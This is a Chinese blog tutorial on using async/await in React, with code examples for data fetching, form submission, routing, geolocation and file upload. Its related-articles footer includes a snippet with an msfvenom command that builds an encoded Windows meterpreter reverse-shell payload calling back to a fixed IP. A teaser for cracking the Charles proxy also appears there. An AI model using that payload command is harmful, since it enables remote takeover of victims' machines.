【react】在react中async/await一般用來實現什么功能

目錄

基本概念

工作原理

優點

注意事項

底層原理

實際應用場景

1. 數據獲取 (API 請求)

2. 表單提交

3. 異步狀態管理

4. 異步路由切換

5. 異步數據預加載

6. 第三方 API 調用

7. 文件上傳/下載

8. 路由導航攔截

關鍵注意事項


基本概念

async 函數:用 async 關鍵字聲明的函數會返回一個 Promise。如果函數中返回的不是 Promise,JavaScript 會將其包裝成一個 resolved 的 Promise

await 關鍵字:只能用在 async 函數內部,用于等待一個 Promise 的解決結果。如果等待的不是 Promiseawait 會直接返回該值。

示例代碼

// 定義一個異步函數
async function fetchData() {try {// 模擬一個異步操作,比如網絡請求const response = await fetch('https://api.example.com/data');const data = await response.json(); // 解析響應體為 JSONconsole.log(data);} catch (error) {console.error('Error fetching data:', error);}
}// 調用異步函數
fetchData();

工作原理

async 函數返回一個 Promise

如果函數中返回的是一個普通值,這個值會被包裝成一個 resolved 的 Promise

如果函數中返回的是一個 Promise,則直接返回該 Promise

await 暫停函數執行

當遇到 await 時,函數的執行會被暫停,直到等待的 Promise 被解決。

如果等待的不是一個 Promiseawait 會直接返回該值,并繼續執行后續代碼。

優點

更簡潔的代碼:相比傳統的 Promise 鏈式調用,async/await 讓異步代碼看起來像同步代碼,邏輯更清晰。

易于調試:錯誤堆棧更清晰,調試時更容易追蹤代碼的執行流程。

避免回調地獄:通過 await 逐層等待,避免了嵌套回調的復雜性。

注意事項

只能在 async 函數中使用 await

// 錯誤:await 不能在普通函數中使用
function normalFunction() {const result = await somePromise(); // 語法錯誤
}

錯誤處理

async function fetchData() {try {const response = await fetch('https://api.example.com/data');const data = await response.json();console.log(data);} catch (error) {console.error('Error:', error);}
}

使用 try/catch 塊捕獲 await 的錯誤,而不是 .catch()

并發執行: 如果有多個異步操作需要同時執行,可以使用 Promise.all()

async function fetchMultipleData() {const [data1, data2] = await Promise.all([fetch('https://api.example.com/data1').then(res => res.json()),fetch('https://api.example.com/data2').then(res => res.json())]);console.log(data1, data2);
}

底層原理

async/await 的底層是基于 Promise 和事件循環的。當執行一個 async 函數時,函數內部的代碼會被包裝成一個 Promise,并立即執行。遇到 await 時,當前函數的執行會被暫停,直到等待的 Promise 被解決。解決后,函數會從暫停的地方繼續執行。

實際應用場景

1. 數據獲取 (API 請求)

從服務器獲取數據是最常見的異步操作場景。

import React, { useState, useEffect } from 'react';const DataFetcher = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);const [error, setError] = useState(null);useEffect(() => {const fetchData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {setError(error.message);} finally {setLoading(false);}};fetchData();}, []);if (loading) return <div>Loading...</div>;if (error) return <div>Error: {error}</div>;return <div>{JSON.stringify(data)}</div>;
};export default DataFetcher;

2. 表單提交

處理表單提交時,使用 async/await 等待服務器響應。

import React, { useState } from 'react';const AsyncForm = () => {const [name, setName] = useState('');const [email, setEmail] = useState('');const [status, setStatus] = useState('idle');const handleSubmit = async (e) => {e.preventDefault();setStatus('submitting');try {const response = await fetch('https://api.example.com/submit', {method: 'POST',headers: {'Content-Type': 'application/json',},body: JSON.stringify({ name, email }),});if (!response.ok) {throw new Error('Failed to submit');}setStatus('success');} catch (error) {setStatus(`Error: ${error.message}`);}};return (<form onSubmit={handleSubmit}><inputtype="text"value={name}onChange={(e) => setName(e.target.value)}placeholder="Name"/><inputtype="email"value={email}onChange={(e) => setEmail(e.target.value)}placeholder="Email"/><button type="submit" disabled={status === 'submitting'}>{status === 'submitting' ? 'Submitting...' : 'Submit'}</button>{status === 'success' && <div>Submitted successfully!</div>}{status.startsWith('Error') && <div>{status}</div>}</form>);
};export default AsyncForm;

3. 異步狀態管理

在組件中管理異步狀態。

import React, { useState } from 'react';const AsyncStateExample = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);const fetchData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {console.error('Error fetching data:', error);} finally {setLoading(false);}};return (<div><button onClick={fetchData} disabled={loading}>{loading ? 'Loading...' : 'Fetch Data'}</button>{data && <div>{JSON.stringify(data)}</div>}</div>);
};export default AsyncStateExample;

4. 異步路由切換

在使用 React Router 時,完成異步操作后再切換路由。

import React, { useState } from 'react';
import { useHistory } from 'react-router-dom';const AsyncRouteExample = () => {const [username, setUsername] = useState('');const history = useHistory();const handleLogin = async () => {try {await new Promise((resolve) => setTimeout(resolve, 1000));history.push('/dashboard');} catch (error) {console.error('Login failed:', error);}};return (<div><inputtype="text"value={username}onChange={(e) => setUsername(e.target.value)}placeholder="Username"/><button onClick={handleLogin}>Login</button></div>);
};export default AsyncRouteExample;

5. 異步數據預加載

在組件渲染前預加載數據。

import React, { useState, useEffect } from 'react';const AsyncDataPreload = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);useEffect(() => {const preloadData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {console.error('Error preloading data:', error);} finally {setLoading(false);}};preloadData();}, []);if (loading) return <div>Loading data...</div>;return <div>{JSON.stringify(data)}</div>;
};export default AsyncDataPreload;

6. 第三方 API 調用

與瀏覽器 API 或第三方 SDK 交互。

async function getGeolocation() {return new Promise((resolve, reject) => {navigator.geolocation.getCurrentPosition(resolve, reject);});
}function LocationButton() {const [position, setPosition] = useState(null);const handleClick = async () => {try {const pos = await getGeolocation();setPosition({lat: pos.coords.latitude,lng: pos.coords.longitude});} catch (err) {alert('無法獲取位置信息');}};return (<div><button onClick={handleClick}>獲取當前位置</button>{position && <Map coordinates={position} />}</div>);
}

7. 文件上傳/下載

處理文件上傳并跟蹤進度。

import axios from 'axios';function FileUploader() {const [progress, setProgress] = useState(0);const uploadFile = async (file) => {const formData = new FormData();formData.append('file', file);await axios.post('/api/upload', formData, {onUploadProgress: (e) => {setProgress(Math.round((e.loaded * 100) / e.total));}});};return (<div><input type="file" onChange={e => uploadFile(e.target.files[0])} />{progress > 0 && <ProgressBar value={progress} />}</div>);
}

8. 路由導航攔截

防止用戶在有未保存更改時離開頁面。

import { useNavigate, useLocation } from 'react-router-dom';function EditArticle() {const [isDirty, setIsDirty] = useState(false);const navigate = useNavigate();useEffect(() => {const unblock = navigate.block((tx) => {if (isDirty && !window.confirm('有未保存的更改,確定離開?')) {tx.retry();}});return () => unblock();}, [isDirty]);const saveArticle = async () => {await fetch('/api/articles', { method: 'PUT' });setIsDirty(false);navigate('/articles');};return (/* 編輯器 UI */);
}

關鍵注意事項

  1. 組件卸載時的處理useEffect 中使用標志位避免組件卸載后的狀態更新。

useEffect(() => {let isMounted = true;const fetchData = async () => {const data = await fetch('/api/data');if (isMounted) setData(data);};fetchData();return () => { isMounted = false; };
}, []);
  1. 錯誤處理 捕獲并處理異步操作中的錯誤,避免未處理的承諾拒絕。

try {await fetchData();
} catch (error) {if (error.name !== 'AbortError') {showErrorToast(error.message);}
}
  1. 防抖優化 對頻繁觸發的異步操作使用防抖。

const search = useDebouncedCallback(async (query) => {const results = await fetchResults(query);setResults(results);
}, 500);

通過以上示例和注意事項,可以全面了解在 React 中如何使用 async/await 處理各種異步場景,提升應用的響應性和用戶體驗。

React 中?async/await?的典型應用場景包括:

  1. 網絡請求(GET/POST/PUT/DELETE)

  2. 文件操作(上傳/下載)

  3. 瀏覽器 API 調用(地理位置/攝像頭)

  4. 定時任務(延遲執行)

  5. WebSocket 通信

  6. 數據庫操作(IndexedDB)

  7. 動畫序列控制

  8. 第三方庫集成(支付 SDK)

合理使用異步操作可以使:

  • 代碼邏輯更清晰(避免回調地獄)

  • 錯誤處理更直觀(try/catch 統一捕獲)

  • 用戶體驗更友好(加載狀態/進度提示)

碼字不易,各位大佬點點贊唄

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73510.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73510.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73510.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據&#xff08;HDSS&#xff09;在類別不平衡情況下的在線流式特征選擇問題&#xff0c;提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口&#xff0c;用于搜索店鋪列表。通過該接口&#xff0c;開發者可以查詢特定店鋪的相關信息&#xff0c;包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化&#xff1a; H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏&#xff08;線程未關閉&#xff09;問題描述錯誤實現優化原理正確實現優化原理 資源泄漏&#xff08;線程未關閉&#xff09; 問題描述 應用程序啟動時創建線程池處理任務&#xff0c;但未在應用關閉時正確關閉線程池。 現象&#xff1a; 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件&#xff1a; 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單&#xff0c;包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程&#xff0c;支持Windows和Mac系統&#xff0c;操作簡單&#xff0c;永久免費使用。同時&#xff0c;我們也會提到另一款強大的抓包工具——SniffMaster&#xff08;抓包大師&#xff09;&#xff0c;它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子&#xff0c;展示如何從前向傳播、損失計算&#xff0c;到反向傳播推導梯度&#xff0c;再到參數更新&#xff0c;完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡&#xff0c;其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層&#xff08;Presentation Layer&#xff09;業務邏輯層&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;數據訪問層&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器"&#xff0c;防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache)&#xff1a;就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞&#xff1b;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量&#xff0c;減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記&#xff08;第一彈&#xff09; 整理自《effective Java 中文第3版》 本篇筆記整理第3&#xff0c;4章的內容。 重寫equals方法需要注意的地方 自反性&#xff1a;對于任何非空引用 x&#xff0c;x.equals(x) 必須返回 true。對稱性&#xff1a;對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…

C++ 多線程簡要講解

std::thread是 C11 標準庫中用于多線程編程的核心類&#xff0c;提供線程的創建、管理和同步功能。下面我們一一講解。 一.構造函數 官網的構造函數如下&#xff1a; 1.默認構造函數和線程創建 thread() noexcept; 作用&#xff1a;創建一個 std::thread 對象&#xff0c;但…

Vscode HTML5新增元素及屬性

一、?HTML5 語義化標簽 HTML5 語義化標簽&#xff08;Semantic Elements&#xff09;是一組 ?具有明確含義的 HTML 元素?&#xff0c;通過標簽名稱直接描述其內容或結構的功能&#xff0c;而非僅作為樣式容器&#xff08;如 <div> 或 <span>&#xff09;。它們旨…

【PostgreSQL教程】PostgreSQL 特別篇之 語言接口Python

博主介紹:?全網粉絲22W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…

Three學習入門(四)

9-Three.js 貼圖與材質學習指南 環境準備 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…